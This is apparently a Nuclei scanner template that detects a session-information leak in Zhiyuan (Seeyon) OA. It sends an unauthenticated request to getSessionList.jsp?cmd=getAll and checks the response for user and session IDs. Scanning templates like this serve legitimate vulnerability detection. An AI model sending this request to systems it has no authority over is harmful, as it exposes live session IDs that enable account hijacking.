id: zhiyuan-oa-session-leak

info:
  name: Zhiyuan OA Session Leak
  author: pikpikcu
  severity: medium
  description: A vulnerability in Zhiyuan OA allows remote unauthenticated users access to sensitive session information via the 'getSessionList.jsp' endpoint.
  reference:
    - https://www.zhihuifly.com/t/topic/3345
  metadata:
    max-request: 1
  tags: zhiyuan,leak,disclosure,seeyon

http:
  - method: GET
    path:
      - "{{BaseURL}}/yyoa/ext/https/getSessionList.jsp?cmd=getAll"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "<usrID>"
          - "<sessionID>"
        condition: and

      - type: status
        status:
          - 200

# digest: 490a0046304402204490af6cf7aa5c4d5d846dfba4eb2620d6d26de89a0bebb254e7c67639983d4f02204b4259f41741e56874d63ac403399db6d7c261f253c79d4776ce2a860fd0f67a:922c64590222798bb761d5b6d8e72950
